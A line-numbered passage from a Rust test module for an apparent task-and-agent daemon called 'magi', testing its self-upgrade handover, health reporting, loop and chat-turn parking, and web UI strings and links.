16945
16946 let after = std::fs::read_to_string(crate::updater::progress_path(fx.home.path()))
16947 .expect("read");
16948 assert_eq!(before, after, "{stage:?}: upgrade.json is untouched");
16949 let log = std::fs::read_to_string(crate::updater::log_path(fx.home.path()))
16950 .unwrap_or_default();
16951 assert!(!log.contains("signalling HANDOVER"), "{log}");
16952 }
16953 }
16954
16955 #[tokio::test]
16956 async fn an_upgrade_after_a_finished_or_failed_one_is_allowed() {
16957 use crate::updater::Stage;
16958 let repo = TempDir::new().expect("repo dir");
16959 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16960 .expect("write magi.toml");
16961 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16962 for stage in [Stage::Done, Stage::Failed] {
16963 crate::updater::write_progress(fx.home.path(), &seeded_progress(stage)).expect("seed");
16964 let res = fx.post("/api/upgrade", None).await;
16965 assert_eq!(res.status, 200, "{stage:?}");
16966 }
16967 let _ = std::fs::remove_file(crate::updater::progress_path(fx.home.path()));
16969 assert_eq!(fx.post("/api/upgrade", None).await.status, 200);
16970 }
16971
16972 #[tokio::test]
16973 async fn an_upgrade_with_nothing_to_install_changes_nothing() {
16974 let repo = TempDir::new().expect("repo dir");
16990 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
16991 .expect("write magi.toml");
16992 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
16993
16994 let res = fx.post("/api/upgrade", None).await;
17000 assert_eq!(res.status, 200, "not 202: nothing was set in motion");
17001 let body = res.json();
17002 assert!(body["to"].is_null(), "there was no release to move to");
17003 assert!(body["parked"].is_null(), "and nothing was parked");
17004 assert!(
17005 body["detail"]
17006 .as_str()
17007 .unwrap()
17008 .contains("nothing restarted"),
17009 "{body:?}"
17010 );
17011 }
17012
17013 #[tokio::test]
17014 async fn health_reports_the_running_version_and_no_pending_upgrade_by_default() {
17015 let repo = TempDir::new().expect("repo dir");
17020 std::fs::write(repo.path().join("magi.toml"), "[update]\nmode = \"off\"\n")
17021 .expect("write magi.toml");
17022 let fx = Fixture::with_repo(repo.path().to_path_buf()).await;
17023
17024 let health = fx.get("/api/health").await.json();
17025 assert_eq!(health["version"], env!("CARGO_PKG_VERSION"));
17026 assert_eq!(
17027 health["update"]["available"], false,
17028 "checking is off, which reads as \"unknown\", not \"none\""
17029 );
17030 assert!(health["update"]["to"].is_null());
17031 assert!(
17032 health["upgrade"].is_null(),
17033 "nothing has ever asked this deck to upgrade"
17034 );
17035 }
17036
17037 #[tokio::test]
17038 async fn health_reports_a_parked_upgrade_and_what_it_is_waiting_on() {
17039 let fx = Fixture::start().await;
17040 write_run(&fx.runs(), "20260905-000000-cd51", RunStatus::Implementing);
17041
17042 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17043 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17044 progress.advance(crate::updater::Stage::Parking);
17045 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17046
17047 let health = fx.get("/api/health").await.json();
17048 assert_eq!(health["upgrade"]["stage"], "parking");
17049 assert_eq!(health["upgrade"]["from"], "0.5.1");
17050 assert_eq!(health["upgrade"]["to"], "0.5.2");
17051 let waiting_on = health["upgrade"]["waiting_on"]
17052 .as_str()
17053 .expect("waiting_on is set while parking a known run");
17054 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17055 assert!(waiting_on.contains("implementing"), "{waiting_on}");
17056 }
17057
17058 #[tokio::test]
17059 async fn health_reports_a_finished_upgrade_with_no_waiting_on() {
17060 let fx = Fixture::start().await;
17061 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17062 progress.advance(crate::updater::Stage::Done);
17063 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17064
17065 let health = fx.get("/api/health").await.json();
17066 assert_eq!(health["upgrade"]["stage"], "done");
17067 assert!(
17068 health["upgrade"]["waiting_on"].is_null(),
17069 "nothing to wait on once it is done"
17070 );
17071 }
17072
17073 #[tokio::test]
17074 async fn hand_over_advances_the_upgrade_progress_through_parking_and_restarting() {
17075 let home = TempDir::new().expect("temp home");
17076 let runs = home.path().join("runs");
17077 std::fs::create_dir_all(&runs).expect("runs dir");
17078 let ui = Ui::new(
17079 Queue::at(home.path().join("queue")),
17080 Questions::at(home.path().join("questions")),
17081 Talks::at(home.path().join("talks")),
17082 runs,
17083 home.path().to_path_buf(),
17084 PathBuf::from("/repo/magi"),
17085 )
17086 .with_launch(launch_idle);
17087 let looping = ui.looping();
17088 let turns = ui.turns();
17089 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17090 .await
17091 .expect("bind loopback");
17092 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17093
17094 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17095 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17096
17097 hand_over(
17098 home.path(),
17099 &looping,
17100 &turns,
17101 &|_: &[String]| Duration::from_secs(5),
17102 served,
17103 |_| Ok(1),
17104 )
17105 .await
17106 .expect("hand over");
17107
17108 let after = crate::updater::read_progress(home.path()).expect("progress on disk");
17109 assert_eq!(
17110 after.stage,
17111 crate::updater::Stage::Restarting,
17112 "hand_over owns the record through parking and up to restarting; \
17113 the successor is what finishes it"
17114 );
17115 }
17116
17117 #[tokio::test]
17120 async fn hand_over_calls_the_successor_exactly_once_and_logs_the_steps() {
17121 for fail in [false, true] {
17122 let home = TempDir::new().expect("temp home");
17123 let ui = idle_ui(&home);
17124 let looping = ui.looping();
17125 let turns = ui.turns();
17126 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17127 .await
17128 .expect("bind loopback");
17129 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17130 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17131 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17132
17133 let calls = std::sync::atomic::AtomicUsize::new(0);
17134 let outcome = hand_over(
17135 home.path(),
17136 &looping,
17137 &turns,
17138 &|_: &[String]| Duration::from_secs(5),
17139 served,
17140 |_| {
17141 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17142 if fail {
17143 anyhow::bail!("no exec")
17144 } else {
17145 Ok(4242)
17146 }
17147 },
17148 )
17149 .await;
17150 assert_eq!(outcome.is_err(), fail);
17151 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17152
17153 let log = std::fs::read_to_string(crate::updater::log_path(home.path()))
17154 .expect("upgrade.log is written under the home");
17155 for step in [
17156 "entered",
17157 "finish_loop",
17158 "listener released",
17159 "starting the successor",
17160 ] {
17161 assert!(log.contains(step), "missing `{step}` in:\n{log}");
17162 }
17163 assert!(
17164 log.contains(if fail { "did not start" } else { "pid 4242" }),
17165 "{log}"
17166 );
17167 }
17168 }
17169
17170 #[tokio::test]
17173 async fn the_handover_signal_wakes_one_waiter_once() {
17174 let signal = Notify::new();
17175 signal.notify_one();
17177 tokio::time::timeout(Duration::from_secs(5), wait_for_handover(&signal))
17178 .await
17179 .expect("an early signal is still seen");
17180 assert!(
17182 tokio::time::timeout(Duration::from_millis(50), wait_for_handover(&signal))
17183 .await
17184 .is_err(),
17185 "a consumed signal must not wake a second time"
17186 );
17187 let signal = std::sync::Arc::new(signal);
17189 let waiter = tokio::spawn({
17190 let signal = std::sync::Arc::clone(&signal);
17191 async move { wait_for_handover(&signal).await }
17192 });
17193 tokio::time::sleep(Duration::from_millis(20)).await;
17194 assert!(!waiter.is_finished(), "nothing was signalled yet");
17195 signal.notify_one();
17196 tokio::time::timeout(Duration::from_secs(5), waiter)
17197 .await
17198 .expect("a late signal wakes the waiter")
17199 .expect("join");
17200 }
17201
17202 #[tokio::test]
17203 async fn health_says_how_long_a_handover_has_been_stuck() {
17204 let fx = Fixture::start().await;
17205 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17206 progress.advance(crate::updater::Stage::Replaced);
17207 progress.updated_at = Timestamp::now() - Duration::from_secs(600);
17208 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17209
17210 let health = fx.get("/api/health").await.json();
17211 let stuck = health["upgrade"]["stuck_for_secs"].as_i64().expect("stuck");
17212 assert!(stuck >= 600, "{stuck}");
17213 assert_eq!(health["upgrade"]["stuck_kind"], "never_entered");
17214 assert!(health["upgrade"]["waiting_on"].as_str().is_some());
17215 }
17216
17217 #[tokio::test]
17218 async fn a_second_replaced_write_cannot_pull_a_parking_handover_back() {
17219 let home = tempfile::tempdir().expect("temp home");
17220 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17221 progress.advance(crate::updater::Stage::Parking);
17222 crate::updater::write_progress(home.path(), &progress).expect("seed");
17223 let mut again = progress.clone();
17225 again.advance(crate::updater::Stage::Replaced);
17226 crate::updater::write_progress(home.path(), &again).expect("replaced");
17227 let fresh = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17228 crate::updater::write_progress(home.path(), &fresh).expect("downloading");
17229 let after = crate::updater::read_progress(home.path()).expect("record");
17230 assert_eq!(after.stage, crate::updater::Stage::Parking);
17231 }
17232
17233 #[tokio::test]
17234 async fn health_does_not_call_a_live_parking_wait_stuck() {
17235 let fx = Fixture::start().await;
17236 let mut progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17237 progress.parked_run = Some("20260905-000000-cd51".to_owned());
17238 progress.advance(crate::updater::Stage::Parking);
17239 let hours = Duration::from_secs(3 * 3600);
17240 progress.started_at = Timestamp::now() - hours;
17241 progress.updated_at = Timestamp::now() - hours;
17242 crate::updater::write_progress(fx.home.path(), &progress).expect("write upgrade.json");
17243 let _lease = crate::updater::LeaseGuard::enter(
17244 fx.home.path(),
17245 Some("20260905-000000-cd51".to_owned()),
17246 );
17247
17248 let health = fx.get("/api/health").await.json();
17249 assert!(health["upgrade"]["stuck_for_secs"].is_null(), "{health}");
17250 assert!(health["upgrade"]["stuck_kind"].is_null());
17251 assert_eq!(health["upgrade"]["handover_alive"], true);
17252 let waiting_on = health["upgrade"]["waiting_on"]
17253 .as_str()
17254 .expect("waiting_on");
17255 assert!(waiting_on.contains("cd51"), "{waiting_on}");
17256 }
17257
17258 fn idle_ui(home: &TempDir) -> Ui {
17259 let runs = home.path().join("runs");
17260 std::fs::create_dir_all(&runs).expect("runs dir");
17261 Ui::new(
17262 Queue::at(home.path().join("queue")),
17263 Questions::at(home.path().join("questions")),
17264 Talks::at(home.path().join("talks")),
17265 runs,
17266 home.path().to_path_buf(),
17267 PathBuf::from("/repo/magi"),
17268 )
17269 .with_launch(launch_idle)
17270 }
17271
17272 async fn park_fixture(
17273 home: &TempDir,
17274 ) -> (
17275 Ui,
17276 Arc<Mutex<LoopState>>,
17277 Arc<Mutex<TalkTurns>>,
17278 tokio::task::JoinHandle<std::io::Result<()>>,
17279 ) {
17280 let ui = idle_ui(home);
17281 let looping = ui.looping();
17282 let turns = ui.turns();
17283 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17284 .await
17285 .expect("bind loopback");
17286 let served = tokio::spawn(axum::serve(listener, ui.clone().router()).into_future());
17287 let progress = crate::updater::Progress::new("0.5.1".to_owned(), "0.5.2".to_owned());
17288 crate::updater::write_progress(home.path(), &progress).expect("seed progress");
17289 (ui, looping, turns, served)
17290 }
17291
17292 #[tokio::test]
17296 async fn hand_over_waits_for_a_running_chat_turn() {
17297 let home = TempDir::new().expect("temp home");
17298 let (ui, looping, turns, served) = park_fixture(&home).await;
17299 let ui = Arc::new(ui);
17300 let id = "20260901-000000-chat";
17301 let turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17302
17303 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17304 let handover = tokio::spawn({
17305 let home = home.path().to_path_buf();
17306 let turns = Arc::clone(&turns);
17307 let calls = Arc::clone(&calls);
17308 async move {
17309 hand_over(
17310 &home,
17311 &looping,
17312 &turns,
17313 &|_: &[String]| Duration::from_secs(60),
17314 served,
17315 move |_| {
17316 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17317 Ok(1)
17318 },
17319 )
17320 .await
17321 }
17322 });
17323
17324 let waiting = async {
17325 for _ in 0..200 {
17326 if crate::updater::read_progress(home.path())
17327 .is_some_and(|p| p.parked_talks == [id.to_owned()])
17328 {
17329 return;
17330 }
17331 tokio::time::sleep(Duration::from_millis(25)).await;
17332 }
17333 panic!("the park never named the chat turn");
17334 };
17335 waiting.await;
17336 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17337
17338 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17341 assert!(
17342 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17343 "a direct start says an upgrade is in progress"
17344 );
17345 assert!(
17346 ui.begin_queued_talk_turn("20260901-000000-late")
17347 .expect("queued claim")
17348 .is_none()
17349 );
17350 assert!(matches!(
17351 ui.begin_talk_turn_unless_pending("20260901-000000-late")
17352 .expect("start"),
17353 TalkTurnStart::Busy
17354 ));
17355 assert_eq!(turns.lock().unwrap().live.len(), 1);
17356
17357 let progress = crate::updater::read_progress(home.path()).expect("progress");
17359 let view = upgrade_progress_view(&ui, progress);
17360 assert!(
17361 view.waiting_on.as_deref().is_some_and(|w| w.contains(id)),
17362 "{:?}",
17363 view.waiting_on
17364 );
17365
17366 assert!(!handover.is_finished());
17367 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17368 drop(turn);
17369 handover.await.expect("join").expect("hand over");
17370 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17371 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17372 }
17373
17374 #[tokio::test]
17377 async fn hand_over_keeps_chat_open_until_the_loop_is_done() {
17378 let home = TempDir::new().expect("temp home");
17379 let (ui, looping, turns, served) = park_fixture(&home).await;
17380 let ui = Arc::new(ui);
17381 let (end_loop, loop_ended) = tokio::sync::oneshot::channel::<()>();
17383 lock_or_recover(&looping).live = Some(Live {
17384 stop: daemon::Stop::new(),
17385 handle: tokio::spawn(async move {
17386 let _ = loop_ended.await;
17387 }),
17388 opts: daemon::Opts::default(),
17389 });
17390
17391 let calls = Arc::new(std::sync::atomic::AtomicUsize::new(0));
17392 let handover = tokio::spawn({
17393 let home = home.path().to_path_buf();
17394 let turns = Arc::clone(&turns);
17395 let calls = Arc::clone(&calls);
17396 async move {
17397 hand_over(
17398 &home,
17399 &looping,
17400 &turns,
17401 &|_: &[String]| Duration::from_secs(60),
17402 served,
17403 move |_| {
17404 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17405 Ok(1)
17406 },
17407 )
17408 .await
17409 }
17410 });
17411
17412 let reached = async {
17413 for _ in 0..200 {
17414 if crate::updater::read_progress(home.path())
17415 .is_some_and(|p| p.stage == crate::updater::Stage::Parking)
17416 {
17417 return;
17418 }
17419 tokio::time::sleep(Duration::from_millis(25)).await;
17420 }
17421 panic!("the hand-over never reached parking");
17422 };
17423 reached.await;
17424
17425 assert!(!turns.lock().unwrap().parking);
17427 let turn = ui
17428 .begin_talk_turn("20260901-000000-chat")
17429 .expect("claim")
17430 .expect("a turn can start while the loop parks");
17431
17432 end_loop.send(()).expect("loop still waiting");
17434 for _ in 0..200 {
17435 if turns.lock().unwrap().parking {
17436 break;
17437 }
17438 tokio::time::sleep(Duration::from_millis(25)).await;
17439 }
17440 assert!(
17441 turns.lock().unwrap().parking,
17442 "closed once the loop is done"
17443 );
17444 let refused = ui.begin_talk_turn("20260901-000000-late").err();
17445 assert!(
17446 refused.is_some_and(|e| e.message.contains("upgrade in progress")),
17447 "no turn starts once the loop is done"
17448 );
17449 assert!(
17450 ui.begin_queued_talk_turn("20260901-000000-late")
17451 .expect("queued claim")
17452 .is_none()
17453 );
17454 assert!(!handover.is_finished());
17455 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 0);
17456
17457 drop(turn);
17458 handover.await.expect("join").expect("hand over");
17459 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17460 assert!(!turns.lock().unwrap().parking, "slots reopen afterwards");
17461 }
17462
17463 #[tokio::test]
17466 async fn hand_over_gives_up_on_a_stuck_chat_turn_after_the_bound() {
17467 let home = TempDir::new().expect("temp home");
17468 let (ui, looping, turns, served) = park_fixture(&home).await;
17469 let id = "20260901-000000-stuk";
17470 let _turn = ui.begin_talk_turn(id).expect("claim").expect("free");
17471
17472 let calls = std::sync::atomic::AtomicUsize::new(0);
17473 hand_over(
17474 home.path(),
17475 &looping,
17476 &turns,
17477 &|_: &[String]| Duration::from_millis(300),
17478 served,
17479 |_| {
17480 calls.fetch_add(1, std::sync::atomic::Ordering::SeqCst);
17481 Ok(1)
17482 },
17483 )
17484 .await
17485 .expect("hand over");
17486 assert_eq!(calls.load(std::sync::atomic::Ordering::SeqCst), 1);
17487
17488 let progress = crate::updater::read_progress(home.path()).expect("progress");
17489 assert_eq!(progress.stage, crate::updater::Stage::Restarting);
17490 assert!(
17491 progress.detail.as_deref().is_some_and(|d| d.contains(id)),
17492 "{:?}",
17493 progress.detail
17494 );
17495 let log = std::fs::read_to_string(crate::updater::log_path(home.path())).expect("log");
17496 assert!(
17497 log.contains("handing over anyway") && log.contains(id),
17498 "{log}"
17499 );
17500 }
17501
17502 #[tokio::test]
17505 async fn drain_loop_starts_no_turn_while_parking() {
17506 let tmp = TempDir::new().expect("tempdir");
17507 let repo = tmp.path().join("repo");
17508 std::fs::create_dir_all(&repo).expect("repo dir");
17509 std::fs::write(repo.join("magi.toml"), MOCK_AGENT_TOML).expect("write magi.toml");
17510 let home = TempDir::new().expect("temp home");
17511 let talks = Talks::at(home.path().join("talks"));
17512 let ui = Ui::new(
17513 Queue::at(home.path().join("queue")),
17514 Questions::at(home.path().join("questions")),
17515 talks.clone(),
17516 home.path().join("runs"),
17517 home.path().to_path_buf(),
17518 repo.clone(),
17519 )
17520 .with_worktrees_root(home.path().join("wt"));
17521 let cfg = config_for(&repo).await.expect("discover config");
17522 let mut talk = talk::begin(&talks, &cfg, repo.clone(), Some("mock")).expect("begin talk");
17523 let id = talk.id.clone();
17524 talk::queue(&mut talk, &talks, "later", Vec::new()).expect("queue");
17525 let turn = ui.begin_talk_turn(&id).expect("claim").expect("free");
17526 let turns = ui.turns();
17527 let parking = ParkingTurns::begin(&turns);
17528
17529 drain_loop(talk, talks.clone(), cfg, id.clone(), turn).await;
17530
17531 assert!(
17532 turns.lock().unwrap().live.is_empty(),
17533 "the slot is given up"
17534 );
17535 let fresh = talks.get(&id).expect("talk");
17536 assert_eq!(fresh.pending, "later", "the draft is still queued");
17537 assert!(fresh.turns.is_empty(), "no turn ran");
17538 drop(parking);
17539 }
17540
17541 async fn handed_over(home: &TempDir, ui: Ui) -> bool {
17543 let looping = ui.looping();
17544 let turns = ui.turns();
17545 let listener = tokio::net::TcpListener::bind((Ipv4Addr::LOCALHOST, 0))
17546 .await
17547 .expect("bind loopback");
17548 let served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
17549 let told = std::sync::Mutex::new(None);
17550 hand_over(
17551 home.path(),
17552 &looping,
17553 &turns,
17554 &|_: &[String]| Duration::from_secs(5),
17555 served,
17556 |resume| {
17557 *told.lock().unwrap() = Some(resume);
17558 Ok(1)
17559 },
17560 )
17561 .await
17562 .expect("hand over");
17563 told.into_inner().unwrap().expect("successor was started")
17564 }
17565
17566 #[tokio::test]
17567 async fn a_running_loop_is_resumed_by_the_successor() {
17568 let home = TempDir::new().expect("temp home");
17569 let ui = idle_ui(&home);
17570 ui.start_loop(None).expect("start");
17571 ui.park_for_upgrade().expect("park");
17572 for _ in 0..500 {
17574 if !ui.loop_view(None).running {
17575 break;
17576 }
17577 tokio::time::sleep(Duration::from_millis(2)).await;
17578 }
17579 assert!(handed_over(&home, ui).await, "a running loop must resume");
17580
17581 let successor = idle_ui(&home);
17582 assert!(!successor.loop_view(None).running);
17583 assert!(successor.resume_after_handover(true));
17584 assert!(successor.loop_view(None).running);
17585 successor.stop_loop(None, false).expect("stop");
17586 }
17587
17588 #[tokio::test]
17589 async fn a_second_upgrade_request_keeps_the_resume_intent() {
17590 let home = TempDir::new().expect("temp home");
17591 let ui = idle_ui(&home);
17592 ui.start_loop(None).expect("start");
17593 ui.park_for_upgrade().expect("first park");
17594 ui.park_for_upgrade().expect("second park");
17595 assert!(handed_over(&home, ui).await);
17596 }
17597
17598 #[tokio::test]
17599 async fn a_stop_during_the_handover_wait_is_honoured() {
17600 let home = TempDir::new().expect("temp home");
17601 let ui = idle_ui(&home);
17602 ui.start_loop(None).expect("start");
17603 ui.park_for_upgrade().expect("park");
17604 ui.stop_loop(None, false).expect("stop");
17605 assert!(!handed_over(&home, ui).await);
17606 }
17607
17608 #[tokio::test]
17609 async fn an_idle_loop_stays_stopped_across_the_handover() {
17610 let home = TempDir::new().expect("temp home");
17611 let ui = idle_ui(&home);
17612 ui.park_for_upgrade().expect("park");
17613 assert!(!handed_over(&home, ui).await);
17614
17615 let successor = idle_ui(&home);
17616 assert!(!successor.resume_after_handover(false));
17617 assert!(!successor.loop_view(None).running);
17618 }
17619
17620 #[tokio::test]
17621 async fn a_loop_the_operator_stopped_is_not_resumed() {
17622 let home = TempDir::new().expect("temp home");
17623 let ui = idle_ui(&home);
17624 ui.start_loop(None).expect("start");
17625 ui.stop_loop(None, false).expect("stop");
17626 ui.park_for_upgrade().expect("park");
17627 assert!(!handed_over(&home, ui).await);
17628 }
17629
17630 #[test]
17631 fn only_an_explicit_one_requests_a_resume() {
17632 assert!(!resume_requested(None));
17633 assert!(!resume_requested(Some("0".into())));
17634 assert!(!resume_requested(Some("".into())));
17635 assert!(resume_requested(Some("1".into())));
17636 }
17637
17638 #[test]
17639 fn the_upgrade_button_arms_before_it_restarts_anything() {
17640 assert!(APP_JS.contains("upgrade: \"/api/upgrade\""));
17643 assert!(APP_JS.contains("Replace the binary and restart?"));
17644 assert!(APP_JS.contains("function confirmed("));
17645 assert!(APP_JS.contains("show(upgradeBtn, !foreign && update.available)"));
17650 assert!(
17654 APP_JS.contains("Parking, then restarting"),
17655 "the button says what it is waiting for"
17656 );
17657 assert!(APP_JS.contains("if (!out.to)"));
17660 }
17661
17662 #[test]
17663 fn stopping_the_loop_arms_but_starting_does_not() {
17664 assert!(APP_JS.contains("Finish the run(s) in flight, then stop claiming?"));
17667 assert!(APP_JS.contains("Stop claiming new tasks? Nothing is in flight."));
17668 assert!(APP_JS.contains("confirmed(button, question)"));
17669 assert!(!APP_JS.contains("setText(btn, \"Update & restart\");\n }\n }, 6000)"));
17672 assert!(APP_JS.contains("const label = btn.textContent;"));
17673 assert!(!APP_JS.contains("Neither direction is guarded"));
17674 }
17675
17676 #[test]
17677 fn the_running_version_is_shown_regardless_of_whether_an_update_exists() {
17678 assert!(
17679 APP_JS.contains("state.health.version"),
17680 "the operator wants to know what is running even with nothing newer"
17681 );
17682 assert!(APP_JS.contains("id=\"daemon-version\"") || APP_CSS.contains(".daemon-version"));
17683 }
17684
17685 #[test]
17686 fn the_upgrade_button_names_its_destination() {
17687 assert!(
17688 APP_JS.contains("`Update to ${update.to}`"),
17689 "pressing the button should not be a surprise about what it moves to"
17690 );
17691 }
17692
17693 #[test]
17694 fn an_upgrade_in_progress_is_shown_as_stages_not_as_an_error() {
17695 for stage in ["downloading", "replaced", "parking", "restarting"] {
17696 assert!(
17697 APP_JS.contains(&format!("\"{stage}\"")),
17698 "the phone must be able to tell {stage} apart from the others"
17699 );
17700 }
17701 assert!(APP_JS.contains(".waiting_on"));
17702 assert!(APP_JS.contains("function reportUnreachableDuringUpgrade("));
17707 assert!(APP_JS.contains("reconnects on its own"));
17708 }
17709
17710 #[test]
17711 fn a_failed_upgrade_does_not_lock_the_loop_controls() {
17712 let body = &APP_JS[APP_JS.find("function renderLoop(").expect("renderLoop")
17721 ..APP_JS.find("function upgrade(").expect("upgrade")];
17722 assert!(
17723 !body.contains(
17724 "upgradeStage === \"failed\") {\n setAttr(box, \"data-state\", \"failed\")"
17725 ),
17726 "a failed upgrade must not take the whole strip over the way it used to"
17727 );
17728 assert!(
17729 body.contains("upgradeFailNote"),
17730 "the failure has to reach the loop's own note instead"
17731 );
17732 assert_eq!(
17736 body.matches("upgradeFailNote].filter(Boolean).join")
17737 .count(),
17738 2,
17739 "both loop-why writers (quiet and control) must fold the note in"
17740 );
17741 }
17742
17743 #[test]
17744 fn an_overdue_upgrade_eventually_asks_for_a_human() {
17745 assert!(APP_JS.contains("UPGRADE_WAIT_LIMIT_MS = 70 * 60 * 1000"));
17748 assert!(APP_JS.contains("function upgradeOverdue("));
17749 }
17750
17751 #[test]
17752 fn coming_back_from_an_upgrade_says_which_version_it_landed_on() {
17753 assert!(
17754 APP_JS.contains("Updated to ${upgradeInfo.to"),
17755 "the operator who asked for the restart wants to know it worked"
17756 );
17757 }
17758
17759 #[test]
17760 fn an_error_is_visible_from_where_the_button_is() {
17761 let alert = &APP_CSS[APP_CSS.find(".alert {").expect(".alert")
17766 ..APP_CSS.find(".alert-text").expect(".alert-text")];
17767 assert!(
17768 alert.contains("position: fixed"),
17769 "an error about the thing under your thumb has to be visible from \
17770 where your thumb is: {alert}"
17771 );
17772 assert!(
17773 alert.contains("z-index: 25"),
17774 "above the dock (20) and the run-actions FAB (15), so neither \
17775 buries it: {alert}"
17776 );
17777 assert!(
17778 alert.contains("var(--tap)"),
17779 "and clear of the dock and the home indicator: {alert}"
17780 );
17781 assert!(
17784 alert.contains("var(--s4) + var(--tap) + var(--s3)"),
17785 "the FAB's column stays free: {alert}"
17786 );
17787 }
17788
17789 #[tokio::test]
17790 async fn an_older_attempt_says_what_replaced_it() {
17791 let fx = Fixture::start().await;
17792 let q = fx.queue();
17793 let runs = fx.runs();
17794 let (first, second) = ("20260901-000000-aaaa", "20260901-000000-bbbb");
17795 write_run(&runs, first, RunStatus::Stalled);
17796 write_run(&runs, second, RunStatus::Blocked);
17797
17798 let mut t = Task::new(
17799 "one task".to_owned(),
17800 "do it".to_owned(),
17801 PathBuf::from("/repo"),
17802 Source::Human,
17803 );
17804 t.runs = vec![first.to_owned(), second.to_owned()];
17805 q.put(&mut t).expect("put");
17806
17807 let rows = fx.get("/api/runs").await.json();
17811 let by = |short: &str| -> Value {
17812 rows.as_array()
17813 .unwrap()
17814 .iter()
17815 .find(|r| r["short"] == short)
17816 .cloned()
17817 .unwrap_or(Value::Null)
17818 };
17819 assert_eq!(by("aaaa")["superseded_by"], "bbbb");
17820 assert!(
17821 by("bbbb")["superseded_by"].is_null(),
17822 "the latest attempt is not superseded by anything"
17823 );
17824 assert!(APP_JS.contains("run.superseded_by"));
17826 assert!(APP_JS.contains("Superseded by"));
17827 }
17828
17829 fn outcome_task(runs: &[&str], status: TaskStatus) -> Task {
17830 let mut t = Task::new(
17831 "one task".to_owned(),
17832 "do it".to_owned(),
17833 PathBuf::from("/repo"),
17834 Source::Human,
17835 );
17836 t.runs = runs.iter().map(|r| (*r).to_owned()).collect();
17837 t.status = status;
17838 t
17839 }
17840
17841 #[test]
17842 fn source_link_picks_the_page_that_filed_the_task() {
17843 let agent = |node: &str| Source::Agent {
17844 run: "20260904-014455-ab12".to_owned(),
17845 node: node.to_owned(),
17846 };
17847 let chat = source_link(&agent("chat")).expect("chat link");
17848 assert_eq!(chat.kind, "chat");
17849 assert_eq!(chat.id, "20260904-014455-ab12");
17850 assert_eq!(chat.href, "#/chat/20260904-014455-ab12");
17851 let run = source_link(&agent("implement")).expect("run link");
17852 assert_eq!(
17853 (run.kind, run.href.as_str()),
17854 ("run", "#/runs/20260904-014455-ab12")
17855 );
17856 assert_eq!(source_link(&Source::Human), None);
17857 assert_eq!(
17858 source_link(&Source::Issue {
17859 number: 3,
17860 repo: "o/r".to_owned()
17861 }),
17862 None
17863 );
17864 let odd = source_link(&Source::Agent {
17865 run: "a b/c".to_owned(),
17866 node: "chat".to_owned(),
17867 })
17868 .expect("link");
17869 assert_eq!(odd.href, "#/chat/a%20b%2Fc");
17870 }
17871
17872 #[test]
17873 fn the_ui_reads_the_source_link_instead_of_guessing_a_route() {
17874 assert!(
17875 !APP_JS.contains("src.node === \"chat\""),
17876 "inline href rule is back"
17877 );
17878 assert!(
17879 APP_JS.matches("sourceLinkOf(").count() >= 4,
17880 "helper must serve every page"
17881 );
17882 assert!(
17883 APP_JS.matches("openChatLink(").count() >= 3,
17884 "the run page still needs its explicit chat link"
17885 );
17886 assert!(
17887 !APP_JS.contains("const openChat = el("),
17888 "the Queue card duplicates its source label link again"
17889 );
17890 assert!(
17891 APP_JS.contains("metaKids.push(link ? el(\"a\""),
17892 "the task page must link a chat source label too"
17893 );
17894 }
17895
17896 #[test]
17897 fn task_ref_carries_the_source_link_for_a_chat_task() {
17898 let mut t = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17899 t.source = Source::Agent {
17900 run: "20260904-014455-ab12".to_owned(),
17901 node: "chat".to_owned(),
17902 };
17903 let out = task_outcome(&t, "20260901-000000-aaaa", 3, |_| None);
17904 let v = serde_json::to_value(&out).expect("json");
17905 assert_eq!(v["source_link"]["kind"], "chat", "{v}");
17906 assert_eq!(v["source_link"]["href"], "#/chat/20260904-014455-ab12");
17907 assert_eq!(v["source_label"], t.source.label());
17908
17909 let human = outcome_task(&["20260901-000000-aaaa"], TaskStatus::Held);
17910 let v = serde_json::to_value(task_outcome(&human, "20260901-000000-aaaa", 3, |_| None))
17911 .expect("json");
17912 assert!(v["source_link"].is_null(), "{v}");
17913 }
17914
